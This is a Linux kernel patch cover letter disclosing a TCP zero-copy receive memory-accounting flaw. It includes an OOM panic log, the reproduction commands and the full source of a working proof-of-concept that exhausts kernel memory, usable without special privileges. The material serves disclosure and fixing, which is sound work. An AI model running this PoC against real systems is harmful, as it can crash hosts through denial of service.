[PATCH net 0/1] net: tcp: account zero-copy receive VMA memory
From: Ren Wei
Date: Mon Sep 14 2026 - 22:46:34 EST
From: Zixuan Chai <petalzu987@xxxxxxxxx>
This series fixes a vulnerability in net/ipv4/tcp.c.
[Vulnerability Details]
TCP_ZEROCOPY_RECEIVE installs page references in a user VMA and consumes
the corresponding skb. The socket charge is released when the skb is
consumed, even though the VMA can retain the receive pages. A process can
therefore retain an unbounded number of receive pages and page-table
memory by advancing through a large VMA. This is a resource-exhaustion
DoS, not a use-after-free or double-free.
Reserve the VMA size in TCP socket memory accounting while the mapping is
alive. Keep the reservation across same-mm VMA splits and moves, release
it when the last VMA fragment is unmapped, and reject VMA expansion and
fork inheritance. Use a separate receive zero-copy accounting kind so
receive-buffer minimum allowances cannot bypass the reservation limit.
[Crash Log]
The clean kernel was booted in QEMU with 2 GiB RAM, 2 vCPUs and TCG. The
reproduction set vm.panic_on_oom=2 so the resource exhaustion produced a
deterministic dmesg panic.
The resulting clean-kernel log was:
[ 701.147561][ T5539] poc invoked oom-killer: gfp_mask=0x440dc0
[ 701.148103][ T5539] CPU: 0 UID: 0 PID: 5539 Comm: poc Not tainted
[ 701.828535][ T5539] Kernel panic - not syncing: Out of memory:
[ 701.830897][ T5539] CPU: 1 UID: 0 PID: 5539 Comm: poc Not tainted
[ 701.833017][ T5539] Call Trace:
[ 701.840157][ T5539] out_of_memory+0xc20/0x1680
[ 701.841825][ T5539] __alloc_frozen_pages_noprof+0x2723/0x2e10
[ 701.849506][ T5539] pte_alloc_one+0x1e/0x390
[ 701.850240][ T5539] __pte_alloc+0x6c/0x390
[ 701.853267][ T5539] insert_pages+0x514/0x590
[ 701.854826][ T5539] vm_insert_pages+0x138/0x460
[ 701.855568][ T5539] tcp_zerocopy_vm_insert_batch+0xbf/0x440
[ 701.859088][ T5539] tcp_zerocopy_receive+0x141d/0x29a0
[ 701.867523][ T5539] do_tcp_getsockopt+0x1f4b/0x30d0
[ 701.877177][ T5539] tcp_getsockopt+0xe2/0x110
[ 701.883190][ T5539] __sys_getsockopt+0x131/0x270
[ 701.889601][ T5539] do_syscall_64+0x128/0x7b0
[ 701.899898][ T5539] Rebooting in 86400 seconds..
[PoC / Reproduction]
The PoC uses IPv6 loopback and ordinary user-space networking APIs. It
sets SO_ZEROCOPY and a page-aligned TCP_MAXSEG on both endpoints, maps a
large read-only TCP VMA, and repeatedly calls
getsockopt(TCP_ZEROCOPY_RECEIVE) while the sender keeps producing data.
The deterministic OOM run was prepared in the guest as follows:
make
sysctl -w vm.panic_on_oom=2
./poc 4096
The mapping and receive path were also validated as test_user without
additional capabilities or a network namespace. The panic_on_oom setup
above requires root only to make the OOM result deterministic.
The following is the core of poc.c used for the reproduction.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/tcp.h>
#include <netinet/in.h>
#include <poll.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define LISTEN_PORT 31337
#define PAGE_BYTES 4096U
#define PAGE_ALIGNED_MSS (PAGE_BYTES + 12U)
#define SEND_CHUNK (1U << 20)
#define DEFAULT_MAP_MB 8192ULL
#define HUGE_ALIGN (2UL << 20)
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static unsigned long long parse_mb_arg(const char *arg)
{
char *end = NULL;
unsigned long long val;
errno = 0;
val = strtoull(arg, &end, 0);
if (errno || !end || *end)
die("strtoull");
return val;
}
static void set_int_sockopt(int fd, int level, int optname, int val,
const char *name)
{
if (setsockopt(fd, level, optname, &val, sizeof(val)) < 0)
die(name);
}
static void connect_loopback(int fd)
{
struct sockaddr_in6 addr = {
.sin6_family = AF_INET6,
.sin6_port = htons(LISTEN_PORT),
};
if (inet_pton(AF_INET6, "::1", &addr.sin6_addr) != 1)
die("inet_pton");
for (;;) {
if (!connect(fd, (struct sockaddr *)&addr, sizeof(addr)))
return;
if (errno == EINTR)
continue;
if (errno == ECONNREFUSED) {
usleep(100000);
continue;
}
die("connect");
}
}
static void sender_process(void)
{
char *buf = malloc(SEND_CHUNK);
int fd;
int one = 1;
if (!buf)
die("malloc");
memset(buf, 0x41, SEND_CHUNK);
fd = socket(AF_INET6, SOCK_STREAM, 0);
if (fd < 0)
die("socket(sender)");
set_int_sockopt(fd, SOL_SOCKET, SO_ZEROCOPY, one, "SO_ZEROCOPY");
set_int_sockopt(fd, IPPROTO_TCP, TCP_MAXSEG, PAGE_ALIGNED_MSS,
"TCP_MAXSEG(sender)");
connect_loopback(fd);
for (;;) {
ssize_t ret = send(fd, buf, SEND_CHUNK, MSG_ZEROCOPY);
if (ret > 0)
continue;
if (errno == EINTR)
continue;
if (errno == EAGAIN || errno == ENOBUFS) {
usleep(1000);
continue;
}
die("send(MSG_ZEROCOPY)");
}
}
static int create_listener(void)
{
struct sockaddr_in6 addr = {
.sin6_family = AF_INET6,
.sin6_port = htons(LISTEN_PORT),
.sin6_addr = IN6ADDR_LOOPBACK_INIT,
};
int fd;
int one = 1;
int lowat = SEND_CHUNK;
fd = socket(AF_INET6, SOCK_STREAM, 0);
if (fd < 0)
die("socket(listener)");
set_int_sockopt(fd, SOL_SOCKET, SO_REUSEADDR, one, "SO_REUSEADDR");
set_int_sockopt(fd, SOL_SOCKET, SO_RCVLOWAT, lowat, "SO_RCVLOWAT");
set_int_sockopt(fd, IPPROTO_TCP, TCP_MAXSEG, PAGE_ALIGNED_MSS,
"TCP_MAXSEG(listener)");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind");
if (listen(fd, 1) < 0)
die("listen");
return fd;
}
static void *align_ptr(void *ptr)
{
uintptr_t val = (uintptr_t)ptr;
val = (val + HUGE_ALIGN - 1) & ~(uintptr_t)(HUGE_ALIGN - 1);
return (void *)val;
}
static void wait_for_pollin(int fd)
{
struct pollfd pfd = {
.fd = fd,
.events = POLLIN,
};
for (;;) {
int ret = poll(&pfd, 1, 1000);
if (ret > 0)
return;
if (ret == 0)
continue;
if (errno == EINTR)
continue;
die("poll");
}
}
static void drain_stream(int fd, uint32_t bytes)
{
char buf[1 << 15];
while (bytes) {
size_t want = bytes < sizeof(buf) ? bytes : sizeof(buf);
ssize_t ret = read(fd, buf, want);
if (ret > 0) {
bytes -= (uint32_t)ret;
continue;
}
if (ret == 0)
exit(EXIT_FAILURE);
if (errno == EAGAIN || errno == EWOULDBLOCK) {
wait_for_pollin(fd);
continue;
}
if (errno == EINTR)
continue;
die("read");
}
}
static void set_nonblock(int fd)
{
int flags = fcntl(fd, F_GETFL, 0);
if (flags < 0)
die("fcntl(F_GETFL)");
if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
die("fcntl(F_SETFL)");
}
static void receiver_process(int fd, unsigned long long map_mb)
{
struct tcp_zerocopy_receive zc;
void *mapping_raw;
void *mapping;
uint64_t map_len = map_mb << 20;
uint64_t mapped = 0;
socklen_t optlen;
mapping_raw = mmap(NULL, map_len + HUGE_ALIGN, PROT_READ, MAP_SHARED,
fd, 0);
if (mapping_raw == MAP_FAILED)
die("mmap(socket)");
mapping = align_ptr(mapping_raw);
set_nonblock(fd);
for (;;) {
memset(&zc, 0, sizeof(zc));
zc.address = (uintptr_t)mapping + mapped;
zc.length = (map_len - mapped) > SEND_CHUNK ?
SEND_CHUNK : (uint32_t)(map_len - mapped);
optlen = sizeof(zc);
if (!zc.length)
exit(EXIT_FAILURE);
if (getsockopt(fd, IPPROTO_TCP, TCP_ZEROCOPY_RECEIVE,
&zc, &optlen) < 0) {
if (errno == EINTR)
continue;
if (errno == EAGAIN || errno == EWOULDBLOCK) {
wait_for_pollin(fd);
continue;
}
if (errno == EIO)
exit(EXIT_SUCCESS);
die("getsockopt(TCP_ZEROCOPY_RECEIVE)");
}
mapped += zc.length;
if (zc.recv_skip_hint)
drain_stream(fd, zc.recv_skip_hint);
if (!zc.length && !zc.recv_skip_hint)
wait_for_pollin(fd);
}
}
int main(int argc, char **argv)
{
struct sockaddr_in6 peer;
socklen_t peer_len = sizeof(peer);
unsigned long long map_mb = DEFAULT_MAP_MB;
pid_t child;
int listen_fd;
int conn_fd;
if (argc > 1)
map_mb = parse_mb_arg(argv[1]);
listen_fd = create_listener();
child = fork();
if (child < 0)
die("fork");
if (!child)
sender_process();
conn_fd = accept(listen_fd, (struct sockaddr *)&peer, &peer_len);
if (conn_fd < 0)
die("accept");
set_int_sockopt(conn_fd, SOL_SOCKET, SO_RCVLOWAT, SEND_CHUNK,
"SO_RCVLOWAT(accepted)");
set_int_sockopt(conn_fd, IPPROTO_TCP, TCP_MAXSEG, PAGE_ALIGNED_MSS,
"TCP_MAXSEG(accepted)");
receiver_process(conn_fd, map_mb);
kill(child, SIGKILL);
waitpid(child, NULL, 0);
return 0;
}
------END poc.c------
[Validation]
The clean-kernel run reached the panic shown above. The patched kernel
rejected the oversized VMA reservation with -ENOMEM instead of allowing
the mapping to consume unaccounted memory. The patched kernel was also
tested with ordinary TCP traffic, IPv4 and IPv6 receive zero-copy, failed
multi-chunk charges, VMA split and move paths, fork, partial unmap, file
descriptor close, process exit, signals, shutdown, EOF, multiple
mappings, and repeated teardown. Accounting returned to zero after
teardown, and no new KASAN, BUG, Oops, panic, UAF, out-of-bounds, soft
lockup, or hung task was observed.
---
Zixuan Chai (1):
net: tcp: account zero-copy receive VMA memory
include/net/sock.h | 1 +
include/trace/events/sock.h | 3 +-
net/core/sock.c | 2 +-
net/ipv4/tcp.c | 102 ++++++++++++++++++++++++++++++++++--
4 files changed, 103 insertions(+), 5 deletions(-)